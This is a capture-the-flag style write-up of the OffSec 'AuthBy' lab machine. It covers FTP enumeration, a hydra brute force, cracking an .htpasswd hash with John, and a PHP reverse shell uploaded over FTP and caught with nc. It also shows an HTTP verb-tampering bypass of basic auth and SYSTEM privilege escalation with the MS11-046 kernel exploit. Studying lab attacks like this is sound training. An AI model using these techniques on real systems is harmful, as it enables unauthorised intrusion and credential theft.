AuthBy

On this system there are two separate FTP servers and an HTTP server that requires authentication:

```
┌──(kali㉿kali)-[~/OSCP/AuthBy]
└─$ cat AuthBy_Scan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-31 14:49 EDT
Nmap scan report for 192.168.182.46
Host is up (0.045s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT     STATE SERVICE           VERSION
21/tcp   open  ftp               zFTPServer 6.0 build 2011-10-17
242/tcp  open  http              Apache httpd 2.2.21 ((Win32) PHP/5.3.8)
3145/tcp open  zftp-admin        zFTPServer admin
3389/tcp open  ssl/ms-wbt-server?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

Through anonymous login we are able to find three accounts:

```
dr-xr-xr-x   1 root     root          512 Aug 02 17:50 accounts
226 Closing data connection.
ftp> cd accounts
250 CWD Command successful.
ftp> dir
229 Entering Extended Passive Mode (|||2050|)
150 Opening connection for /bin/ls.
total 4
dr-xr-xr-x   1 root     root          512 Aug 02 17:50 backup
----------   1 root     root          764 Aug 02 17:50 acc[Offsec].uac
----------   1 root     root         1030 Aug 02 17:50 acc[anonymous].uac
----------   1 root     root          926 Aug 02 17:50 acc[admin].uac
226 Closing data connection.
```

We can create a user list and attempt a brute force attack on either service using these accounts:

```
┌──(kali㉿kali)-[~/OSCP/AuthBy]
└─$ hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ftp://192.168.208.46
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or
ns, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway)

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-11-01 11:06:50
[WARNING] Restorefile (you have 10 seconds to abort ... (use option -I to skip waiting)) fr
d, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 28688798 login tries (l:2/p:14344399),
[DATA] attacking ftp://192.168.208.46:21/
[STATUS] 906.00 tries/min, 906 tries in 00:01h, 28687892 to do in 527:45h, 16 active
[STATUS] 897.33 tries/min, 2692 tries in 00:03h, 28686106 to do in 532:49h, 16 active
[STATUS] 872.86 tries/min, 6110 tries in 00:07h, 28682688 to do in 547:41h, 16 active
[STATUS] 882.53 tries/min, 13238 tries in 00:15h, 28675560 to do in 541:33h, 16 active
[21][ftp] host: 192.168.208.46   login: admin   password: admin
```

We can download each file for review:

```
┌──(kali㉿kali)-[~/OSCP/AuthBy]
└─$ ftp admin@192.168.208.46
Connected to 192.168.208.46.
220 zFTPServer v6.0, build 2011-10-17 15:25 ready.
331 User name received, need password.
Password:
230 User logged in, proceed.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||2056|)
150 Opening connection for /bin/ls.
total 3
-r--r--r--   1 root     root           76 Nov 08  2011 index.php
-r--r--r--   1 root     root           45 Nov 08  2011 .htpasswd
-r--r--r--   1 root     root          161 Nov 08  2011 .htaccess
```

Within the .htpasswd file we have a hash for the Offsec user, which we can crack with John:

```
┌──(kali㉿kali)-[~/OSCP/AuthBy]
└─$ john .htpasswd --wordlist=/usr/share/wordlists/rockyou.txt
Created directory: /home/kali/.john
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 SSE2 4×3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
elite            (offsec)
1g 0:00:00:00 DONE (2024-11-01 11:02) 2.439g/s 61580p/s 61580c/s 61580C/s lovestruck..cutegal
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

One attack that comes to mind is getting a reverse shell via FTP upload since it looks like the FTP service is connected to the HTTP server. We can do this by uploading a reverse shell to the FTP server and request the file in our browser by using Offsec's credentials:

```
┌──(kali㉿kali)-[~/OSCP/AuthBy]
└─$ ftp admin@192.168.208.46
Connected to 192.168.208.46.
220 zFTPServer v6.0, build 2011-10-17 15:25 ready.
331 User name received, need password.
Password:
230 User logged in, proceed.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> put windows.php
local: windows.php remote: windows.php
229 Entering Extended Passive Mode (|||2061|)
150 File status okay; about to open data connection.
100% |**********************************************************************************|  6524
226 Closing data connection.
6524 bytes sent in 00:00 (78.25 KiB/s)
```

Using a ivan sincek PHP reverse shell I was able to get a reverse shell:

```
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 8443
listening on [any] 8443 ...
whoami
connect to [192.168.45.185] from (UNKNOWN) [192.168.208.46] 49157
SOCKET: Shell has connected! PID: 3320
ft Windows [Version 6.0.6001]
Copyright (c) 2006 Microsoft Corporation.  All rights reserved.

C:\wamp\bin\apache\Apache2.2.21>whoami
livda\apache

C:\wamp\bin\apache\Apache2.2.21>
```

Alternate Vulnerability:
This HTTP server is also vulerable to HTTP Verb Tampering which allows us to bypass the authentication process by replacing the GET or POST request with an alternate HTTP Verb. In this case it is the Option verb:

```
GET / HTTP/1.1
Host: authby.offsec:242
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/126.0.6478.127 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.
9,image/avif,image/webp,image/apng,*/*;q=0.8,applica
tion/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
```

```
1  HTTP/1.1 401 Authorization Required
2  Date: Sat, 02 Nov 2024 02:55:36 GMT
3  Server: Apache/2.2.21 (Win32) PHP/5.3.8
4  WWW-Authenticate: Basic realm="Qui e nuce nuculeum
   esse volt, frangit nucem!"
5  Content-Length: 401
6  Keep-Alive: timeout=5, max=100
7  Connection: Keep-Alive
8  Content-Type: text/html; charset=iso-8859-1
9
10 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
11 <html>
     <head>
12     <title>
         401 Authorization Required
       </title>
13   </head>
     <body>
14     <h1>
         Authorization Required
       </h1>
15     <p>
         This server could not verify that you
16       are authorized to access the document
17       requested.  Either you supplied the wrong
18       credentials (e.g., bad password), or your
19       browser doesn't understand how to supply
20       the credentials required.
       </p>
21   </body>
   </html>
```

```
OPTIONS / HTTP/1.1
Host: authby.offsec:242
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/126.0.6478.127 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.
9,image/avif,image/webp,image/apng,*/*;q=0.8,applica
tion/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
```

```
1  HTTP/1.1 200 OK
2  Date: Sat, 02 Nov 2024 02:56:06 GMT
3  Server: Apache/2.2.21 (Win32) PHP/5.3.8
4  X-Powered-By: PHP/5.3.8
5  Content-Length: 76
6  Keep-Alive: timeout=5, max=100
7  Connection: Keep-Alive
8  Content-Type: text/html
9
10 <center>
     <pre>
       Qui e nuce nuculeum esse volt, frangit nucem!
     </pre>
   </center>
```

So instead of using Offsec's credentials we can just bypass the authentication to request our reverse shell:

```
┌──(kali㉿kali)-[~/OSCP/AuthBy]
└─$ nc -lvnp 8443
listening on [any] 8443 ...
connect to [192.168.45.185] from (UNKNOWN) [192.168.208.46] 49157
SOCKET: Shell has connected! PID: 3320
Microsoft Windows [Version 6.0.6001]
Copyright (c) 2006 Microsoft Corporation.  All rights reserved.

C:\wamp\bin\apache\Apache2.2.21>
```

Privilege Escalation
We can see the permissions that the current user has:

```
C:\wamp\bin\apache\Apache2.2.21>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State
============================= ========================================= ========
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

C:\wamp\bin\apache\Apache2.2.21>
```

We can also get the systeminfo and use it with the updated windows-exploit-suggester to find potential exploits for this system:

```
┌──(kali㉿kali)-[~/Tools/wesng]
└─$ ./wes.py ../../OSCP/AuthBy/systeminfo.txt -i Elevation of Privileges -e
Windows Exploit Suggester 1.05 ( https://github.com/bitsadmin/wesng/ )
[+] Parsing systeminfo output
[+] Operating System
    - Name: Windows Server 2008 for 32-bit Systems
    - Generation: 2008
    - Build: 6001
    - Version: None
    - Architecture: 32-bit
    - Installed hotfixes: None
```

Notice the first one has a link for an exploit:

```
Date: 20110614
CVE: CVE-2011-1249
KB: KB2503665
Title: Vulnerability in Ancillary Function Driver Could Allow Elevation of Privilege
Affected product: Windows Server 2008 for 32-bit Systems
Affected component:
Severity: Important
Impact: Elevation of Privilege
Exploit: https://www.exploit-db.com/exploits/40564/
```

This exploit isn't compiled so we can file a compiled version through a simple Google Search(https://github.com/SecWiki/windows-kernel-exploits/) We can then transfer it to our target and run it for elevated privileges:

```
C:\wamp\www>ms11-046.exe

c:\Windows\System32>whoami
nt authority\system

c:\Windows\System32>
```